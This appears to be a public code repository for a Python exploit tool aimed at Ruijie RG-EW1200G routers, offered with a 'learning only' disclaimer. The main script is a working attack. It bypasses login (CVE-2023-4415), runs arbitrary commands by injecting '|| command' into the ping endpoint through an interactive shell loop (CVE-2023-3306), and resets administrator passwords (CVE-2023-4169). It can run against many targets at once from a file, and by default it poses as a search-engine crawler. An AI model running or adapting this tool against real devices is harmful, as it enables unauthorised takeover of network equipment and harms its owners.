├── LICENSE ├── README.md ├── requirements.txt ├── user_agent.py └── 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Richard Smith 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ruijie-RG-EW1200G CVE-2023-4169_CVE-2023-3306_CVE-2023-4415 2 | 1. RG-EW1200G后台远程代码执行漏洞(CVE-2023-3306) 3 | 2. CVE-2023-4169 未授权任意密码修改(CVE-2023-4169) 4 | 3. 锐捷RG-EW1200G 登录绕过(CVE-2023-4415) 5 | 6 | ## Attention 7 | >我开发了一个用于本地测试和POC开发的工具,仅供技术学习参考。请不要将其用于非法目的。个人或组织使用本文提供的信息所造成的任何直接或间接后果和损失均由用户自行负责,与作者无关!!! 8 | >I have developed a tool for local testing and POC development, which is for technical learning reference only. Please do not use it for illegal purposes. Any direct or indirect consequences and losses caused by individuals or organizations using the information provided in this article are the responsibility of the user themselves and have nothing to do with the author!!! 9 | 10 | 11 | 1697433220057 12 | 13 | 14 | ## Description 15 | Ruijie Network is a brand of data communication solutions. Ruijie Network adheres to the path of independent research and development, and takes a unique development path in the fiercely competitive network equipment market with "scenario innovation". Since its establishment, Ruijie Network has established its mission to "promote the development of network technology, keep up with the wave of network applications, integrate technology and applications, and promote social progress 16 | 17 | ## installation 18 | Just install the requests library 19 | > pip install -r requirements.txt 20 | 21 | ## Tools Usage 22 | ```python 23 | python 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py -h 24 | usage: 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py [-h] (-u URL | -f FILE) [--random-agent RANDOM_AGENT | -a USERAGENT] 25 | [-d DELAY] [-t THREAD] [--proxy PROXY] 26 | 27 | Ruijie RG-EW1200G: login bypass(CVE-2023-4415) & RCE(CVE-2023-3306) & anonymous reset password(CVE-2023-4169) 28 | 29 | optional arguments: 30 | -h, --help show this help message and exit 31 | -u URL, --url URL Enter target object 32 | -f FILE, --file FILE Input target object file 33 | --random-agent RANDOM_AGENT 34 | Using random user agents 35 | -a USERAGENT, --useragent USERAGENT 36 | Using the known User-agent 37 | -d DELAY, --delay DELAY 38 | Set multi threaded access latency (setting range from 0 to 5) 39 | -t THREAD, --thread THREAD 40 | Set the number of program threads (setting range from 1 to 50) 41 | --proxy PROXY Set up the proxy 42 | 43 | After obtaining login permissions, the following operations can be performed: 44 | - Enter 0 to exit the connecion! 45 | - Enter 1 to show all the cookies which has been recorded! 46 | - Enter 2 to try to login bypass the machine! 47 | - Enter 3 to try to remote code Execute to control the machine! 48 | - Enter 4 to try to reset the user's password! 49 | ``` 50 | ### Example 51 | 1697591593786 52 | 1697591619202 53 | 54 | 55 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.26.0 2 | -------------------------------------------------------------------------------- /user_agent.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | # pc端的user-agent 4 | user_agent_pc = [ 5 | # 谷歌 6 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.71 Safari/537.36', 7 | 'Mozilla/5.0.html (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.html.1271.64 Safari/537.11', 8 | 'Mozilla/5.0.html (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.html.648.133 Safari/534.16', 9 | # 火狐 10 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64; rv:34.0.html) Gecko/20100101 Firefox/34.0.html', 11 | 'Mozilla/5.0.html (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10', 12 | # opera 13 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.95 Safari/537.36 OPR/26.0.html.1656.60', 14 | # qq浏览器 15 | 'Mozilla/5.0.html (compatible; MSIE 9.0.html; Windows NT 6.1; WOW64; Trident/5.0.html; SLCC2; .NET CLR 2.0.html.50727; .NET CLR 3.5.30729; .NET CLR 3.0.html.30729; Media Center PC 6.0.html; .NET4.0C; .NET4.0E; QQBrowser/7.0.html.3698.400)', 16 | # 搜狗浏览器 17 | 'Mozilla/5.0.html (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.html.963.84 Safari/535.11 SE 2.X MetaSr 1.0.html', 18 | # 360浏览器 19 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.html.1599.101 Safari/537.36', 20 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64; Trident/7.0.html; rv:11.0.html) like Gecko', 21 | # uc浏览器 22 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.html.2125.122 UBrowser/4.0.html.3214.0.html Safari/537.36', 23 | ] 24 | # 移动端的user-agent 25 | user_agent_phone = [ 26 | # IPhone 27 | 'Mozilla/5.0.html (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5', 28 | # IPAD 29 | 'Mozilla/5.0.html (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8C148 Safari/6533.18.5', 30 | 'Mozilla/5.0.html (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5', 31 | # Android 32 | 'Mozilla/5.0.html (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1', 33 | 'Mozilla/5.0.html (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1', 34 | # QQ浏览器 Android版本 35 | 'MQQBrowser/26 Mozilla/5.0.html (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1', 36 | # Android Opera Mobile 37 | 'Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10', 38 | # Android Pad Moto Xoom 39 | 'Mozilla/5.0.html (Linux; U; Android 3.0.html; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0.html Safari/534.13', 40 | ] 41 | 42 | 43 | def get_user_agent_pc(): 44 | return random.choice(user_agent_pc) 45 | 46 | 47 | def get_user_agent_phone(): 48 | return random.choice(user_agent_phone) 49 | -------------------------------------------------------------------------------- /锐捷RG-EW1200G登录绕过(CVE-2023-4415).py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import copy 3 | 4 | from user_agent import get_user_agent_pc 5 | import requests 6 | import os 7 | import random 8 | import string 9 | import time 10 | import concurrent.futures 11 | import re 12 | 13 | MIN_VARIABLE_NUM = 1 14 | MAX_VARIABLE_NUM = 10 15 | MAX_LENGTH = 10 16 | requests.packages.urllib3.disable_warnings() 17 | headers = None 18 | proxies = None 19 | timeout = None 20 | delay = None 21 | thread = None 22 | LOGIN_COOKIES = dict() 23 | DEFAULT_USER_AGENT = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 24 | 25 | 26 | def _post_request(session: requests.Session, url: str, data: dict, headers: dict = None) -> (int, requests.Response or str): 27 | global proxies 28 | try: 29 | res = session.post(url=url, json=data, 30 | headers=headers, proxies=proxies, verify=False) 31 | return 200, res 32 | except Exception as e: 33 | return 500, f"[!]Unable to access {url} normally, due to{e.args.__str__()}" 34 | 35 | 36 | def _get_content(o: requests.Response, encoding: str = "UTF-8") -> str: 37 | _encoding = encoding if o.encoding is None or not o.encoding else o.encoding 38 | return o.content.decode(_encoding) 39 | 40 | 41 | def create_random_variable_name(length: int, is_value: bool = False) -> tuple: 42 | _start = 0 if is_value else 1 43 | if length < 1 or length > MAX_LENGTH: 44 | if is_value: 45 | length = 1 46 | else: 47 | length = 2 48 | letters = string.ascii_letters 49 | nums_letters = string.ascii_letters + string.digits 50 | _prefix = ''.join(random.choice(letters) for _ in range(_start)) 51 | _suffix = ''.join(random.choice(nums_letters) for _ in range(length)) 52 | o = _prefix + _suffix 53 | return o, length 54 | 55 | 56 | def create_random_variable_length() -> int: 57 | return random.randint(MIN_VARIABLE_NUM, MAX_VARIABLE_NUM) 58 | 59 | 60 | def attack(url: str, attack_url: str, headers: dict = None): 61 | session = requests.session() 62 | url = url[:-1] if url.endswith("/") else url 63 | password, _ = create_random_variable_name(create_random_variable_length(), is_value=True) 64 | data = { 65 | 'username': "2", 66 | 'password': password 67 | } 68 | code, res = _post_request(session, url + attack_url, data, headers=headers) 69 | if code != 200: 70 | if LOGIN_COOKIES is not None and LOGIN_COOKIES: 71 | if LOGIN_COOKIES.get(url, None) is not None: 72 | LOGIN_COOKIES.pop(url) 73 | else: 74 | # content = _get_content(res) 75 | cookie = requests.utils.dict_from_cookiejar(session.cookies) 76 | if LOGIN_COOKIES.get(url, None) is None: 77 | LOGIN_COOKIES.setdefault(url, cookie) 78 | else: 79 | LOGIN_COOKIES[url] = cookie 80 | print(f"[+]{url} can login by setting cookies:{cookie} ") 81 | 82 | 83 | def task_login_bypass(param: dict): 84 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES 85 | urls = parse_param(param) 86 | attack_url = "/api/sys/login" 87 | _headers = copy.deepcopy(headers) 88 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded') 89 | 90 | with concurrent.futures.ThreadPoolExecutor(max_workers=thread) as executor: 91 | for url in urls: 92 | executor.submit(attack, url, attack_url, _headers) 93 | time.sleep(delay) 94 | 95 | 96 | def task_show_cookies(): 97 | index = 0 98 | for k, v in LOGIN_COOKIES.items(): 99 | print(f"item-{index} -> {k}'s available cookies are {v}") 100 | 101 | 102 | def task_run_command(url: str, cookies: dict, command: str): 103 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES 104 | session = requests.session() 105 | attack_url = "/bf/ping" 106 | _headers = copy.deepcopy(headers) 107 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded') 108 | 109 | _cookies = requests.utils.cookiejar_from_dict(cookies, cookiejar=None, overwrite=True) 110 | session.cookies = _cookies 111 | 112 | _command = f"|| {command}" 113 | data = { 114 | "ping_address": _command, 115 | "ping_package_num": 5, 116 | "ping_package_size": 56, 117 | "is_first_req": 'true' 118 | } 119 | code, res = _post_request(session, url + attack_url, data, headers=_headers) 120 | if code != 200: 121 | print(res) 122 | return 123 | print(_get_content(res)) 124 | 125 | 126 | def task_reset_password(url: str, cookies: dict, username: str, password: str): 127 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES 128 | session = requests.session() 129 | attack_url = "/api/sys/set_passwd" 130 | _headers = copy.deepcopy(headers) 131 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded') 132 | 133 | _cookies = requests.utils.cookiejar_from_dict(cookies, cookiejar=None, overwrite=True) 134 | session.cookies = _cookies 135 | 136 | data = { 137 | "username": username, 138 | "admin_new": password 139 | } 140 | 141 | _confirm = int(input(f"Are you sure to reset the password for {username}(0 for no and 1 for yes):")) 142 | if _confirm is not None and _confirm: 143 | code, res = _post_request(session, url + attack_url, data, headers=_headers) 144 | if code != 200: 145 | print(res) 146 | return 147 | print(_get_content(res)) 148 | 149 | 150 | def set_cmd_arg() -> any: 151 | description = 'Ruijie RG-EW1200G: login bypass(CVE-2023-4415) & RCE(CVE-2023-3306) ' \ 152 | '& anonymous reset password(CVE-2023-4169)' 153 | parser = argparse.ArgumentParser(description=description, add_help=True) 154 | 155 | targets = parser.add_mutually_exclusive_group(required=True) 156 | targets.add_argument('-u', '--url', type=str, help='Enter target object') 157 | targets.add_argument("-f", '--file', type=str, help='Input target object file') 158 | 159 | useragent = parser.add_mutually_exclusive_group(required=False) 160 | useragent.add_argument('--random-agent', type=bool, help='Using random user agents') 161 | useragent.add_argument('-a', '--useragent', type=str, help='Using the known User-agent') 162 | 163 | parser.add_argument('-d', '--delay', type=int, 164 | required=False, help='Set multi threaded access latency (setting range from 0 to 5)') 165 | parser.add_argument('-t', '--thread', type=int, 166 | required=False, help='Set the number of program threads (setting range from 1 to 50)') 167 | parser.add_argument('--proxy', type=str, required=False, help='Set up the proxy') 168 | 169 | args = parser.parse_args() 170 | return args 171 | 172 | 173 | def parse_cmd_args(args) -> dict: 174 | o = dict() 175 | if args.url is None or not args.url: 176 | o.setdefault('url', {'type': 'file', 'value': args.file}) 177 | else: 178 | o.setdefault('url', {'type': 'str', 'value': args.url}) 179 | 180 | options = dict() 181 | if args.random_agent is not None and args.random_agent: 182 | user_agent = get_user_agent_pc() 183 | else: 184 | user_agent = DEFAULT_USER_AGENT 185 | options.setdefault('user_agent', user_agent) 186 | 187 | options.setdefault('delay', args.delay if args.delay is not None else 0) 188 | options.setdefault('thread', args.delay if args.thread is not None else 1) 189 | options.setdefault('proxy', args.proxy if args.proxy is not None else None) 190 | o.setdefault('options', {"type": "str", "value": options}) 191 | return o 192 | 193 | 194 | def parse_param(o: dict) -> list: 195 | global proxies, headers, timeout, delay, thread 196 | 197 | def check_proxy(content: str) -> (int, str): 198 | mode = re.compile("^(?P(http|https|socks4|socks5>))://([A-Za-z0-9]*:[A-Za-z0-9]*@)?([A-Za-z0-9.\-]+)(:[0-9]+)(/[A-Za-z0-9./]*)?", re.I) 199 | groups = mode.search(content) 200 | if groups is None: 201 | return 500, "Unreasonable proxy settings" 202 | try: 203 | protocol = groups.group("protocol") 204 | return 200, protocol 205 | except Exception as e: 206 | return 404, "Failed to identify the protocol used by the agent" 207 | 208 | brute_list = get_data_brute_params(o) 209 | urls = brute_list.get('url', None) 210 | options = brute_list.get('options', None) 211 | if options: 212 | options = options[0] 213 | _proxy = options.get('proxy', None) 214 | if _proxy is None or not _proxy: 215 | proxies = _proxy 216 | else: 217 | code, content = check_proxy(_proxy) 218 | if code != 200: 219 | proxies = _proxy 220 | else: 221 | proxies = dict() 222 | proxies.setdefault(content, _proxy) 223 | 224 | headers = dict() if headers is None or not headers else headers 225 | headers.setdefault("User-Agent", options.get('user_agent', DEFAULT_USER_AGENT)) 226 | 227 | timeout = options.get('time_out', 0) 228 | delay = options.get('delay', 0) 229 | thread = options.get('thread', 1) 230 | return urls 231 | 232 | 233 | def get_data_brute_params(url_dict: dict) -> dict: 234 | brute_list = { 235 | 'url': None 236 | } 237 | 238 | for key, value in url_dict.items(): 239 | _type = value.get("type") 240 | if _type is None or not _type: 241 | continue 242 | if _type == "file": 243 | _value = value.get("value") 244 | code, res = get_data_from_file(_value, mode="r") 245 | if code != 200: 246 | print(res) 247 | continue 248 | brute_list[key] = res 249 | else: 250 | brute_list[key] = [value.get('value', None), ] 251 | return brute_list 252 | 253 | 254 | def get_data_from_file(filename: str, mode: str) -> tuple: 255 | def check_filename(name: str) -> (int, str or None): 256 | if not os.path.isabs(name): 257 | name = os.path.abspath(os.path.join(os.getcwd(), name)) 258 | if not os.path.exists(name): 259 | return 404, f"[!]{name} does not exist" 260 | if not os.path.isfile(name): 261 | return 405, f"[!]{name} is Not a legal document" 262 | return 200, name 263 | 264 | try: 265 | code, content = check_filename(filename) 266 | if code != 200: 267 | return code, content 268 | with open(filename, mode=mode) as f: 269 | content = f.read().split() 270 | return 200, content 271 | except Exception as e: 272 | return 200, f"[!]Unexpected error occurred during file processing while opening {filename}" 273 | 274 | 275 | def dispatch(obj: dict): 276 | print("=" * 100) 277 | print("Enter 0 to exit the program!") 278 | print("Enter 1 to show all the cookies which has been recorded!") 279 | print("Enter 2 to try to login bypass the machine!") 280 | print("Enter 3 to try to remote code Execute to control the machine!") 281 | print("Enter 4 to try to reset the user's password!") 282 | print("=" * 100) 283 | action_num = int(input("Current choice is ")) 284 | print("=" * 100) 285 | while 0 <= action_num < 5: 286 | if action_num == 0: 287 | print("Good Bye 0u0") 288 | break 289 | elif action_num == 1: 290 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:") 291 | task_show_cookies() 292 | elif action_num == 2: 293 | print("[*]Attacking Logging:") 294 | task_login_bypass(obj) 295 | elif action_num == 3: 296 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:") 297 | task_show_cookies() 298 | keys = [item for item in LOGIN_COOKIES.keys()] 299 | _len = len(keys) 300 | _num = int(input("(Please Choice which connection you want to try between 0 and {_len - 1})>>>")) 301 | while _num < 0 or _num >= _len: 302 | _num = int(input(f"[!]You should Try to enter the num between 0 and {_len - 1}>>>")) 303 | url = keys[_num] 304 | cookies = LOGIN_COOKIES.get(url, None) 305 | command = input("(Please Enter the command you want to exec, such as ping, but enter exit to exit the shell)>>>") 306 | while command.lower() != "exit": 307 | task_run_command(url, cookies, command) 308 | command = input("(Please Enter the command you want to exec, such as ping, but enter exit to exit the shell)>>>") 309 | elif action_num == 4: 310 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:") 311 | task_show_cookies() 312 | keys = [item for item in LOGIN_COOKIES.keys()] 313 | _len = len(keys) 314 | _num = int(input("(Please Choice which connection you want to try, such as 0)>>>")) 315 | while _num < 0 or _num >= _len: 316 | _num = int(input(f"[!]You should Try to enter the num between 0 and {_len - 1}>>>")) 317 | url = keys[_num] 318 | cookies = LOGIN_COOKIES.get(url, None) 319 | print("[*]We are trying to reset the password, it may be dangerous:") 320 | username = input("Please Enter which one you want reset:") 321 | password = input("Please Enter the new password:") 322 | task_reset_password(url, cookies, username, password) 323 | else: 324 | print("[-]Terrible Input, Please Again") 325 | print("=" * 100) 326 | action_num = int(input("Current choice is ")) 327 | print("=" * 100) 328 | 329 | 330 | def main() -> None: 331 | args = set_cmd_arg() 332 | obj = parse_cmd_args(args) 333 | task_login_bypass(obj) 334 | dispatch(obj) 335 | 336 | 337 | if __name__ == '__main__': 338 | main() 339 | --------------------------------------------------------------------------------